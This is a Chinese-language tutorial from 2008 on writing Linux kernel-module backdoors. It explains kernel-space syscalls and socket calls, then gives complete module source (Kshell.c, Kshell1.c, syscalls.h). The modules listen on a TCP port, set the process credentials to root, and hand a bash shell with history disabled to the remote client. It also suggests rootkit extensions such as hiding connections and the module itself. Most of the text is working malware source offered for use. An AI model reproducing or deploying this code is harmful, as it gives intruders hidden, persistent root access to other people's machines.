

Author: wzt

EEmail: wzt@xsec.org

Site: <http://www.xsec.org> & <http://hi.baidu.com/wzt85>

Date: 2008-8-29

- 一. 内核后门简介
- 二. 内核中系统调用
- 三. 使用 kernel mode socket 函数
- 四. 如何扩展后门
- 五. 参考资料
- 六. 相关源代码

## 一. 内核后门简介

所谓内核后门，当然指的是在内核空间中给 hacker 提供的可远程控制的 shell 模块喽，性质跟 ring3 下的后门一样，

只是所有功能都在内核空间实现了而已。其实它跟 rootkit 的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能，

有的 rootkit 没有提供远程 shell 的功能。只有两者互补才能组合成一个功能强的 'root-kit'。本文只介绍 2 种实现内核后门的基本方法，如果您有更好的方法，还请多多指教。

## 二. 内核中系统调用

Unix 世界中一切皆文件的思想将 socket 通信变的简单的多，通常我们直接可以用 read, write 等 api 函数作为 socket 通信的方法，

这些 api 函数最终都会调用 kernel 提供的 sys\_XXX 系列函数。平时用到的 read 等函数早在 c 库中封装好了。其实我们可以自己

直接向系统发送软中断 int 0x80 来执行 sys\_read 函数，如：

```
int my_read(int fd, char * buf, off_t count)
{
    long __res;

    __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

                      : "=a" (__res)
                      : "0" (__NR_read), "ri" ((long)(fd),      "c"((long)(buf),
                      "d" ((long)(count)) : "memory");

    return (int)(__res);
}
```

这里用到了 at&t 的内嵌汇编程序来实现，其实就是向 eax 寄存器中存入具体的系统调用号，ebx, ecx, edx 依次存入 read 函数的参数。

最后执行一个 `int $0x80` 陷入内核去执行 `sys_read`.要想在内核空间中实现后门的功能，就必须调用某些函数来进行 `socket` 通信。

本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核 `socket` 函数进行通讯。

通过上面的例子，我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中，这样在内核空间执行

系统调用感觉效率会很低，但是对我们来说，编写程序将会非常的方便。著名的 `sk rookti` 就是用这种方式来进行通讯的。

linux 内核提供了很多个不同的系统调用，我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏：

```
#define my__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)-(128 + 1)) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
    long __res; \
    __asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx" \
: "=a" (__res) \
: "0" (__NR_###name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)) : "memory"); \
    my__syscall_return(type,__res); \
}
```

`my_syscall3` 代表这个系统调用有 3 个参数，以 `read` 系统调用为例，我们可以在内核空间中这样使用它：

```
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
```

编译的时候就会被展开成：

```
int read(int fd, char * buf, off_t count) \
{ \
    long __res; \
    \
    __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx" \
```

```

        : "=a" (__res) \
        : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), \
        "d" ((long)(count)) : "memory"); \

        return (int)(__res);\
}

```

本文后面将会给出比较全面的宏，通过这些宏，可以在内核中随意的使用系统调用。

好了，现在可以使用 `read`, `write`, `select` 等系统调用在内核空间收发信息了。但是怎么在内核中使用平时在用户空间

下用到的那些 `socket` 函数呢？其实这些 `socket` 函数都是通过执行 `sys_socketall` 系统调用来实现的：

linux-2.6.18/net/socket.c

```

asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
    unsigned long a[6];
    unsigned long a0,a1;
    int err;

    ...

    a0=a[0];
    a1=a[1];

    switch(call)
    {
        case SYS_SOCKET:
            err = sys_socket(a0,a1,a[2]);
            break;
        case SYS_BIND:
            err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
            break;
        case SYS_CONNECT:
            err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
            break;
        case SYS_LISTEN:
            err = sys_listen(a0,a1);
            break;
        case SYS_SOCKETPAIR:
            err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);

```

```

        break;
    case SYS_SEND:
        err = sys_send(a0, (void __user *)a1, a[2], a[3]);
        break;
    ...
}

```

通过向 `sys_socketcall` 函数 2 个参数来执行具体的函数调用, 参数 `call` 一般为 `SYS_SOCKET`, `SYS_BIND` 等,

`args` 是一个数组, 通过向这个数组的每个元素赋值, 来调用不同的函数。以 `bind` 这个函数为例, 可以这样调用:

```

struct sockaddr_in cli_addr;
unsigned long args[];

args[0] = sock_fd;
args[1] = (unsigned long)cli_addr;
args[2] = (unsigned long)sizeof(struct sockaddr_in);

sys_socketcall(SYS_BIND, args);

```

其他函数类似。这样就可以在内核中来使用这些 `socket` 函数了。

下面给出一个具体的监听某一个端口的例子:

```

int k_listen(int port)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

    unsigned long arg[3];
    int sock_fd, sock_id;
    int tmp_kid;
    int i, n, cli_len;

    old_fs = get_fs();

    tsk->uid = 0;
    tsk->euid = 0;
    tsk->gid = SGID;
    tsk->egid = 0;

```

```

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++)
    close(i);

if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
    set_fs(old_fs);

    return 0;
}
printk("create socket ok.\n");

/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;

arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);

if ((socketcall(SYS_BIND, arg)) == -1) {
    close(sock_fd);
    set_fs(old_fs);

    return 0;
}
printk("bind address ok.\n");

/* begin listen */
arg[0] = sock_fd;
arg[1] = (unsigned long) 255;

if ((socketcall(SYS_LISTEN, arg)) == -1) {

```

```

        close(sock_fd);
        set_fs(old_fs);

        return 0;
    }
    printk("listen on port %d\n", port);

    cli_len = sizeof(cli_addr);
    arg[0] = sock_fd;
    arg[1] = (unsigned long) &cli_addr;
    arg[2] = (unsigned long) &cli_len;

    if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        printk("accept error.\n");

        close(sock_fd);
        set_fs(old_fs);

        return 0;
    }
    printk("accept a client.\n");

    dup2(sock_id, 0);
    dup2(sock_id, 1);
    dup2(sock_id, 2);

    execve(earg[0], (const char **) earg, (const char **) env);

    close(sock_id);
    close(sock_fd);
    set_fs(old_fs);

    return 1;
}

```

### 三. 使用 kernel mode socket 函数

前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用

内核 socket 函数来进行通讯。我们去看看 kernel mode socket 是怎么在内核中实现的，同样在

linux-2.6.18/net/socket.c 中：

在 user mode socket 中的 socket 函数的功能是建立个套接字，它是调用 sys\_socket 函数来实现的，

因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的：

```
asmlinkage long sys_socket(int family, int type, int protocol)
{
    int retval;
    struct socket *sock;

    retval = sock_create(family, type, protocol, &sock);
    if (retval < 0)
        goto out;

    retval = sock_map_fd(sock);
    if (retval < 0)
        goto out_release;

    out:

    return retval;

    out_release:
    sock_release(sock);
    return retval;
}
```

关键就 2 个函数，sock\_create()来初始化一个 struct socket 结构体,在用 sock\_map\_fd()来给

刚才的 socket 结构分配一个空闲的文件描述符。有兴趣的读者可以继续深入这些函数，看看

它的具体实现细节。在这里我们只关心最上层的这 2 个函数。因为我们要在自己的模块中调用它们。

同样对于 sys\_bind, sys\_listen 等，我们用同样的办法来处理。有了源代码，看它们怎么实现，

我们就怎么实现。

下面给出一个监听某端口的例子：

```
int k_listen(void)
{
    struct socket *sock,*newsock;
    struct sockaddr_in server;
    struct sockaddr client[128];
```

```

char address[128];
int sockfd, sockid, i, size = 0;
    int error = 0, len = sizeof(struct sockaddr);

    //set_fs(KERNEL_DS);

    error = sock_create(AF_INET, SOCK_STREAM, 0, &sock);
    if (error < 0) {
        printk("[ ] socket_create failed: %d\n", error);
        sock_release(sock);
        return -1;
    }

sockfd = sock_map_fd(sock);
if (sockfd < 0) {
    printk("[ ] sock_map_fd() failed.\n");
    sock_release(sock);
    return -1;
}

for (i = 0; i < 8; i++)
    server.sin_zero[i] = 0;

server.sin_family = PF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);

error = security_socket_bind(sock, (struct sockaddr *)&server, len);
if (!error) {
    error = sock->ops->bind(sock, (struct sockaddr *)&server, len);

    if (error < 0) {
        printk("[ ] unix_bind() failed.\n");
        sock_release(sock);
        return -1;
    }
}

error = sock->ops->listen(sock, 5);
if (error < 0) {
    printk("[ ] unix_listen failed.\n");
    sock_release(sock);
    return -1;
}

```



```

}
printk("[+] listen port %d ok.\n",port);

if (!(newsock = sock_alloc())) {
    printk("[-] sock_alloc() failed.\n");
    sock_release(sock);
    return -1;
}

newsock->type = sock->type;
newsock->ops = sock->ops;

printk("[+] waiting for a client.\n");

if (newsock->ops->accept) {
    error = security_socket_accept(sock,newsock);
    if (error < 0)
        goto out_release;

    if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS)
{
        printk("[-] accept got a signal.\n");
        goto out_release;
    }
    else if (error < 0) {
        printk("[-] unix_accept failed.\n");
        goto out_release;
    }
}

if (newsock->ops->getname(newsock,client,&len,1) < 0)
    goto out_release;

security_socket_post_accept(sock,newsock);

sockid = sock_map_fd(newsock);
if (sockid < 0) {
    printk("[-] sock_map_fd() failed.\n");
    sock_release(newsock);
    return -1;
}

printk("[+] accept a client.\n");

kshell(sockid);

```

```

    }

    return 1;

out_release:
sock_release(sock);
sock_release(newsock);

return 0;
}

```

#### 四. 如何扩展后门

如果费这么大力气在内核中就实现了这么简单的功能，还不如在用户空间实现。问题关键是我们现在在内核中，只要对内核有足够的了解，还有什么不能实现的呢？内核源码在手，能做什么,就看你的想象力了。首先是加上一些常用的 **rookit** 技巧，如隐藏网络连接，hack 下 **tcp4\_seq\_show** 就行了，隐藏模块 **list\_del** 一下就行了。为了控制方便，

加个 **pty** 支持吧。再牛的搞个端口复用吧。想嗅探启动吗？用 **netfilter** 过滤下就行了。

下面说说编写更高级后门时需要注意的一些地方：

1. 现在你在内核中，就要考虑并发和竞态的问题，给临界区加个锁或信号量是不错的选择。
2. 如果你想做一个定时回连的后门，请不要使用内核定时器。它的执行函数是在原子方式下执行的，  
也就是这个时候你不能去访问用户空间的东西，如果引起了休眠，内核可能就 **oops** 了。你可以使用 **schedule\_timeout()** 让当前模块休息几秒，当调度程序把它调度回来的时候在尝试一次回连的操作，  
就不会有问题了。

#### 五. 参考资料

[1] Linux kernel source code  
<http://www.kernel.org>

[2] sk1.3-b source code - sd  
<http://sd.g-art.nl/sk>

[3] enyelkm 1.2 - RaiSe && David Reguera  
<http://www.enye-sec.org>

[4] wnps-2.26 - wzt  
<http://hi.baidu.com/wzt85>

## 六. 相关源代码

Syscalls.h

```
/* macros de syscalls */
```

```
int errno;
```

```
#define my__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
```

```
/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
```

```
#define my_syscall0(type,name) \
type name(void) \
{ \
    long __res; \
    __asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name)); \
    my__syscall_return(type,__res); \
}
```

```
#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
    long __res; \
    __asm__ volatile ("push %%ebx; movl %2,%%ebx; int $0x80; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_##name),"r" ((long)(arg1)) : "memory"); \
    my__syscall_return(type,__res); \
}
```

```
#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
```

```

long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_###name), "ri" ((long)(arg1)), "c" ((long)(arg2)) \
    : "memory"); \
my__syscall_return(type, __res); \
}

#define my_syscall3(type, name, type1, arg1, type2, arg2, type3, arg3) \
type name(type1 arg1, type2 arg2, type3 arg3) \
{ \
    long __res; \
    __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_###name), "ri" ((long)(arg1)), "c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
    my__syscall_return(type, __res); \
}

#define my_syscall4(type, name, type1, arg1, type2, arg2, type3, arg3, type4, arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
    long __res; \
    __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "0" (__NR_###name), "ri" ((long)(arg1)), "c" ((long)(arg2)), \
          "d" ((long)(arg3)), "S" ((long)(arg4)) : "memory"); \
    my__syscall_return(type, __res); \
}

#define my_syscall5(type, name, type1, arg1, type2, arg2, type3, arg3, type4, arg4, \
    type5, arg5) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5) \
{ \
    long __res; \
    __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
        "int $0x80 ; pop %%ebx" \
        : "=a" (__res) \
        : "i" (__NR_###name), "ri" ((long)(arg1)), "c" ((long)(arg2)), \
          "d" ((long)(arg3)), "S" ((long)(arg4)), "D" ((long)(arg5)) \
        : "memory"); \
    my__syscall_return(type, __res); \
}

```

Kshell.c

```
/*
 * kenel mode socket door v0.1
 *
 * by wzt http://www.xsec.org
 */
```

```
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include <asm/termbits.h>
#include "syscalls.h"
```

```
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
```

```
#define __NR_e_exit    __NR_exit
```

```
#define SGID            0x489196ab
#define HOME            "/"
```

```
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
```

```
char *env[]={
```

```

"TERM=linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
"/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };

```

```

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
    const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
    unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
    writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
    __sighandler_t, handler);

```

```

/**
 * the code copy from adore-ng
 */
int wnps_atoi(const char *str)
{
    int ret = 0, mul = 1;
    const char *ptr;

    for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
        ;

    ptr--;
    while (ptr >= str) {
        if (*ptr < '0' || *ptr > '9')
            break;
        ret += (*ptr - '0') * mul;
    }
}

```

```

        mul *= 10;
        ptr--;
    }
    return ret;
}

/**
 * in_aton - change str to ipv4 address.
 *
 * see net/core/utils.c
 */
__u32 wnps_in_aton(const char *str)
{
    unsigned long l;
    unsigned int val;
    int i;

    l = 0;
    for (i = 0; i < 4; i++) {
        l <= 8;
        if (*str != '\0') {
            val = 0;
            while (*str != '\0' && *str != '.') {
                val *= 10;
                val += *str - '0';
                str++;
            }
            l |= val;
            if (*str != '\0')
                str++;
        }

        return(htonl(l));
    }
}

```

```

int k_listen(int port)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

```

```

unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;

old_fs = get_fs();

tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++)
    close(i);

if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
    set_fs(old_fs);

    return 0;
}
printk("create socket ok.\n");

/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;

arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);

if ((socketcall(SYS_BIND, arg)) == -1) {
    close(sock_fd);

```



```

        set_fs(old_fs);

        return 0;
    }
    printk("bind address ok.\n");

    /* begin listen */
    arg[0] = sock_fd;
    arg[1] = (unsigned long) 255;

    if ((socketcall(SYS_LISTEN, arg)) == -1) {
        close(sock_fd);
        set_fs(old_fs);

        return 0;
    }
    printk("listen on port %d\n", port);

    cli_len = sizeof(cli_addr);
    arg[0] = sock_fd;
    arg[1] = (unsigned long) &cli_addr;
    arg[2] = (unsigned long) &cli_len;

    if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        printk("accept error.\n");

        close(sock_fd);
        set_fs(old_fs);

        return 0;
    }
    printk("accept a client.\n");

    dup2(sock_id, 0);
    dup2(sock_id, 1);
    dup2(sock_id, 2);

    execve(earg[0], (const char **) earg, (const char **) env);

    close(sock_id);
    close(sock_fd);
    set_fs(old_fs);

    return 1;

```

```

}

static int ksocket_init(void)
{
    printk("ksocket start.\n");

    k_listen(22);
}

static void ksocket_exit(void)
{
    printk("ksocket exit.\n");
}

module_init(ksocket_init);
module_exit(ksocket_exit);

```

Kshell1.c

```

/*
 * kenel mode socket door v0.1
 *
 * by wzt http://www.xsec.org
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/types.h>
#include <linux/errno.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#include "syscalls.h"

```

```

#define port      8800
#define LEN       256

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define SGID      0x489196ab
#define HOME      "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
    "TERM=linux",
    "HOME=" HOME,
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
    ":/usr/local/sbin",
    "HISTFILE=/dev/null",
    NULL };

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
    const char **, argv, const char **, envp);

int kshell(int sock_fd)
{
    struct task_struct *tsk = current;
    mm_segment_t old_fs;

    old_fs = get_fs();
    set_fs(KERNEL_DS);

    tsk->uid = 0;
    tsk->euid = 0;
    tsk->gid = SGID;
    tsk->egid = 0;

    dup2(sock_fd, 0);
    dup2(sock_fd, 1);
    dup2(sock_fd, 2);

    execve(earg[0], (const char **) earg, (const char **) env);

    set_fs(old_fs);

```

```

        return 1;
    }

int k_listen(void)
{
    struct socket *sock,*newsock;
    struct sockaddr_in server;
    struct sockaddr client[128];
    char address[128];
    int sockfd, sockid, i, size = 0;
    int error = 0, len = sizeof(struct sockaddr);

    //set_fs(KERNEL_DS);

    error = sock_create(AF_INET, SOCK_STREAM, 0, &sock);
    if (error < 0) {
        printk("[ - ] sock_create failed: %d\n", error);
        sock_release(sock);
        return -1;
    }

    sockfd = sock_map_fd(sock);
    if (sockfd < 0) {
        printk("[ - ] sock_map_fd() failed.\n");
        sock_release(sock);
        return -1;
    }

    for (i = 0; i < 8; i++)
        server.sin_zero[i] = 0;

    server.sin_family = PF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(port);

    error = security_socket_bind(sock, (struct sockaddr *)&server, len);
    if (!error) {
        error = sock->ops->bind(sock, (struct sockaddr *)&server, len);

        if (error < 0) {
            printk("[ - ] unix_bind() failed.\n");
            sock_release(sock);
            return -1;
        }
    }
}

```

```

}

error = sock->ops->listen(sock,5);
if (error < 0) {
    printk("[-] unix_listen failed.\n");
    sock_release(sock);
    return -1;
}
printk("[+] listen port %d ok.\n",port);

if (!(newsock = sock_alloc())) {
    printk("[-] sock_alloc() failed.\n");
    sock_release(sock);
    return -1;
}

newsock->type = sock->type;
newsock->ops = sock->ops;

printk("[+] waiting for a client.\n");

if (newsock->ops->accept) {
    error = security_socket_accept(sock,newsock);
    if (error < 0)
        goto out_release;

    if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS)
{
        printk("[-] accept got a signal.\n");
        goto out_release;
    }
    else if (error < 0) {
        printk("[-] unix_accept failed.\n");
        goto out_release;
    }
}

if (newsock->ops->getname(newsock,client,&len,1) < 0)
    goto out_release;

security_socket_post_accept(sock,newsock);

sockid = sock_map_fd(newsock);
if (sockid < 0) {

```

```

        printk("[-] sock_map_fd() failed.\n");
        sock_release(newsock);
        return -1;
    }

    printk("[+] accept a client.\n");

    kshell(sockid);
}

return 1;

out_release:
sock_release(sock);
sock_release(newsock);

return 0;
}

int k_socket_init(void)
{
    printk("[+] kernel socket test start.\n");

    k_listen();
}

void k_socket_exit(void)
{
    printk("[+] kernel socket test over.\n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);

```